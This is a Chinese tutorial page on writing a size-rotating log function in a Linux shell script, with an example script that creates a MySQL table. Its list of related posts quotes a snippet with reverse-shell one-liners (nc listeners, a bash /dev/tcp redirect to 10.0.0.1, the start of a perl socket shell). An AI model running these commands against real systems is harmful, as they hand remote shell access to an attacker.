Linux shell脚本输出日志笔记整理(必看篇)

1、日志方法简介:

#日志名称
log="./upgrade.log"  #操作日志存放路径
fsize=2000000      #如果日志大小超过上限,则保存旧日志,重新生成日志文件
exec 2>>$log  #如果执行过程中有错误信息均输出到日志文件中 

#日志函数
#参数
  #参数一,级别,INFO ,WARN,ERROR
    #参数二,内容
#返回值
function zc_log()
{
  #判断格式
  if [ 2 -gt $# ]
  then
    echo "parameter not right in zc_log function" ;
    return ;
  fi
  if [ -e "$log" ]
  then
    touch $log
  fi

  #当前时间
  local curtime;
  curtime=`date +"%Y%m%d%H%M%S"`

  #判断文件大小
  local cursize ;
  cursize=`cat $log | wc -c` ;

  if [ $fsize -lt $cursize ]
  then
    mv $log $curtime".out"
    touch $log ;
  fi
  #写入文件
  echo "$curtime $*" >> $log;
}

2、使用举例

shell脚本内容:

#! /bin/bash
#数据库变量
localpasswd=xxxx
mysqlhost=xxxx
mysqluser=xxxx
mysqlpasswd=xxxx 

#日志名称
log="./upgrade.log"  #操作日志存放路径
fsize=2000000
exec 2>>$log  #如果执行过程中有错误信息均输出到日志文件中 

#日志函数
#参数
  #参数一,级别,INFO ,WARN,ERROR
    #参数二,内容
#返回值
function zc_log()
{
  #判断格式
  if [ 2 -gt $# ]
  then
    echo "parameter not right in zc_log function" ;
    return ;
  fi
  if [ -e "$log" ]
  then
    touch $log
  fi

  #当前时间
  local curtime;
  curtime=`date +"%Y%m%d%H%M%S"`

  #判断文件大小
  local cursize ;
  cursize=`cat $log | wc -c` ;

  if [ $fsize -lt $cursize ]
  then
    mv $log $curtime".out"
    touch $log ;
  fi
  #写入文件
  echo "$curtime $*" >> $log;
} 

echo "start update shell" ;

mysql -h$sqlip -u$sqluser -p$sqlpasswd -e "use $db;
set names gbk;

--
-- 表的结构 msgm_qdjyly
--

DROP TABLE IF EXISTS msgm_qdjyly;
CREATE TABLE IF NOT EXISTS msgm_qdjyly (
 jylyid int(11) NOT NULL AUTO_INCREMENT COMMENT '主键id',
 jylb varchar(20) DEFAULT NULL COMMENT '交易类别',
 jylbmc varchar(50) DEFAULT NULL COMMENT '交易类别名称',
 jgm varchar(10) NOT NULL COMMENT '机构码',
 lyfs int(11) NOT NULL COMMENT '路由方式,1指定渠道,2按卡bin渠道',
 qdbh varchar(20) DEFAULT NULL COMMENT '渠道编号',
 qdmc varchar(50) DEFAULT NULL COMMENT '渠道名称',
 zt int(11) NOT NULL DEFAULT '1' COMMENT '状态,1正常,2关闭',
 bz varchar(100) DEFAULT NULL COMMENT '备注',
 PRIMARY KEY (jylyid)
) ENGINE=InnoDB DEFAULT CHARSET=gbk COMMENT='交易路由信息' AUTO_INCREMENT=7 ;
zc_log INFO "执行 CREATE TABLE msgm_qdjyly 命令的结果为 : $? " ;
echo "执行 CREATE TABLE msgm_qdjyly 命令的结果为 : $? " ;

以上这篇Linux shell脚本输出日志笔记整理(必看篇)就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持我们。

(0)

相关推荐

  • Linux shell中的printf的详细用法

    Linux shell中的printf的详细用法 一 语法 printf '输出类型输出格式' 输出内容 输出类型: %ns:输出字符串.n是数字指代输出几个字符. %ni:输出整数.n是数字指代输出几个数字. %m.n:输出浮点数.m和n是数字,指代输出的整数位数和小数 如%8.2代表共输出8位数,其中2位是小数,6位是整数. 输出格式:  二 实战 [root@localhost ~]# printf %s 1 2 3 4 5 6 123456[root@localhost ~]# prin

  • Linux makefile 和shell文件相互调用实例详解

    shell 文件内调用makefile文件: #!/bin/bash cd ctemplate-2.1 ./configure sudo make -f install cd ../ cd TemplateProcesser make 说明:./configure文件是shell脚本文件,即shell内调用shell文件是很容易的:TemplateProcesser目录内有Makefile文件,调用方式,直接:make makefile文件内调用shell脚本文件: SHELL := /bin/

  • 详解linux下批量替换文件内容的三种方法(perl,sed,shell)

    在建设本网站的时候,发现新建了很多的网页,突然发现,每个文件都需要进行修改一样的内容,一个一个打开很是麻烦,所以,总结了一下如何快速修改一个目录下多个文件进行内容替换.第三种方法用的不多 方法一 使用perl ,命令如下: 复制代码 代码如下: find -name '要查找的文件名' | xargs perl -pi -e 's|被替换的字符串|替换后的字符串|g' 方法二 使用sed命令如下: 复制代码 代码如下: sed -i "s/原字符串/新字符串/g" `grep 原字符串

  • 使用Linux shell脚本实现FTP定时执行批量下载指定文件

    使用FTP定时批量下载指定文件的shell脚本,具体实例介绍如下所示: 1.目标FTP服务器地址 #FTP服务器地址 ip=10.19.15.23 2.FTP账号和密码 u=账号 p=密码 3.使用mget结合正则表达式下载文件 #获取昨天日期,为后面下载使用 T=`date -d yesterday +%Y%m%d` 4.连接FTP服务器,到指定路径下下载文件 ftp -n <<EOF open $ip user $u $p binary cd /hour #远程服务器文件目录 lcd /h

  • linux Shell获取某目录下所有文件夹的名称

    查看目录下面的所有文件: #!/bin/bash cd /目标目录 for file in $(ls *) do echo $file done 延伸的方法,查看目录下面的所有目录 #!/bin/bash cd /export/bak/original_document for dir in $(ls split*) do [ -d $dir ] && echo $dir #先判断是否是目录,然后再输出 done

  • Linux下NC反弹shell命令(推荐)

    本机开启监听: nc -lvnp 4444 nc -vvlp 4444 目标机器开启反弹 bash版本: bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 perl版本: perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p

  • Linux Shell中curl和wget使用代理IP的方法教程

    前言 大家都知道,在Linux Shell中提供两个非常实用的命令来爬取网页,它们分别是 curl 和 wget,本文将给大家详细介绍关于在Linux Shell中curl和wget使用代理IP的相关内容,分享出来供大家参考学习,下面话不多说了,来一起看看吧. curl 和 wget 使用代理 curl 支持 http.https.socks4.socks5 wget 支持 http.https 代理示例: #!/bin/bash # # curl 支持 http.https.socks4.so

  • Linux Shell循环中实现展示进度百分比的实现方法

    Shell 循环中实现展示进度百分比的脚本方法 当我需要处理一个几万行的文件的时候,需要处理的时间是比较长的.我一开始的想法是,没处理一行,就输出一个 # 号.但是这样还是会出现很多很多的 # 号,即便是放在一行,也是非常不优雅的.所以,我想实现一个展示进度百分比的脚本. 实现思路 获取文件的行数 用 i++ 实现每行处理的计数 当前处理行数*100再除以文件行数+%得到我要输出的百分比结果 我需要在一行展示,而不是一直追加或者每次都显示一行 就是这些需求了.我们来逐渐实现. 获取文件的行数 这

  • Linux shell脚本输出日志笔记整理(必看篇)

    1.日志方法简介: #日志名称 log="./upgrade.log" #操作日志存放路径 fsize=2000000 #如果日志大小超过上限,则保存旧日志,重新生成日志文件 exec 2>>$log #如果执行过程中有错误信息均输出到日志文件中 #日志函数 #参数 #参数一,级别,INFO ,WARN,ERROR #参数二,内容 #返回值 function zc_log() { #判断格式 if [ 2 -gt $# ] then echo "parameter

  • Java中的循环笔记整理(必看篇)

    一.循环的类型: 1.for循环 class For{ public static void main(String[] args) { System.out.println("Hello World!"); System.out.println("Hello World!"); System.out.println("Hello World!"); System.out.println("Hello World!"); Sy

  • 函数sync、fsync与fdatasync的总结整理(必看篇)

    一.术语解释 脏页:linux内核中的概念,因为硬盘的读写速度远赶不上内存的速度,系统就把读写比较频繁的数据事先放到内存中,以提高读写速度,这就叫高速缓存,linux是以页作为高速缓存的单位,当进程修改了高速缓存里的数据时,该页就被内核标记为脏页,内核将会在合适的时间把脏页的数据写到磁盘中去,以保持高速缓存中的数据和磁盘中的数据是一致的. 内存映射:内存映射文件,是由一个文件到一块内存的映射.Win32提供了允许应用程序把文件映射到一个进程的函数 (CreateFileMapping).内存映射

  • JavaWeb学习笔记分享(必看篇)

    自定义列表 <dl></dl>:表示列表的范围 **在里面 <dt></dt>:上层内容 **在里面 <dd></dd>:下层内容 有序列表 <ol></ol>:有序列表的范围 --属性 type:设置排序方式,1(默认),a,i.. **在ol标签里面 <li>具体内容</li> 无序列表 <ul></ul>:无序列表的范围 --属性 type:circle(空

  • Javascript基础学习笔记(菜鸟必看篇)

    什么是变量? 变量是用于存储信息的容器 变量的声明 语法: var 变量名 变量名 = 值; 变量要先声明再赋值 变量可以重复赋值 变量的命名规则 变量必须以字母开头: 变量也能以$和_符号开头(不过我们不推荐这么做): 变量名称对大小写敏感(a和A是不同的变量). 语句 语句以一个分号结尾:如果省略分号,则由解析器确定语句的结尾. 有个好的编码习惯,都要以 ; 结尾 数据类型 在JavaScript中,一段信息就是一个值(value).值有不同的类型,大家最熟悉的类型是数字.字符串(strin

  • Java基本语法笔记(菜鸟必看篇)

    一.关键字&标识符 1.关键字:被Java语言赋予了特殊含义,用作专门用途的字符串(单词): 2.保留字:现有Java版本尚未使用,但以后版本可能会作为关键字使用.自己命名时要避免使用这些保留字: 3.标识符:凡是自己可以起名字的地方都叫标识符: 4.标识符命名规则(必须遵守): 1.由26个英文字母大小写,0-9,_或$组成: 2.数字不可以开头: 3.不可以使用关键字以及保留字,但能包含关键字以及保留字: 4.Java中严格区分大小写,长度无限制: 5.标识符不能包含空格: 5.Java中的

  • Mysql数据库之Binlog日志使用总结(必看篇)

    binlog二进制日志对于mysql数据库的重要性有多大,在此就不多说了.下面根据本人的日常操作经历,并结合网上参考资料,对binlog日志使用做一梳理: 一.binlog日志介绍 1)什么是binlog binlog日志用于记录所有更新了数据或者已经潜在更新了数据(例如,没有匹配任何行的一个DELETE)的所有语句.语句以"事件"的形式保存,它描述数据更改. 2)binlog作用 因为有了数据更新的binlog,所以可以用于实时备份,与master/slave主从复制结合. 3)和b

  • linux C编程常见的错误总结(必看篇)

    定义 所谓的段错误就是指访问的内存超出了系统所给这个程序的内存空间,通常这个值是由gd tr来保存的,他是一个48位的寄存器,其中的32位是保存由它指向的 gdt表,后13位保存 相应于gdt的下标,最后3位包括了程序是否在内存中以及程序的在cpu中的运行级别,指向 的gdt是由以64位为一个单位的表,在这张表中就保存着程序运行的代码段以及数据段的起 始地址以及与此相应的段限和页面交换还有程序运行级别还有内存粒度等等的信息.分段错误(通常简称为段错误)是一个特定的错误条件,计算机软件的操作期间发

  • linux c程序中获取shell脚本输出的实现方法

    1. 前言Unix界有一句名言:"一行shell脚本胜过万行C程序",虽然这句话有些夸张,但不可否认的是,借助脚本确实能够极大的简化一些编程工作.比如实现一个ping程序来测试网络的连通性,实现ping函数需要写上200~300行代码,为什么不能直接调用系统的ping命令呢?通常在程序中通过 system函数来调用shell命令.但是,system函数仅返回命令是否执行成功,而我们可能需要获得shell命令在控制台上输出的结果.例如,执行外部命令ping后,如果执行失败,我们希望得到p

随机推荐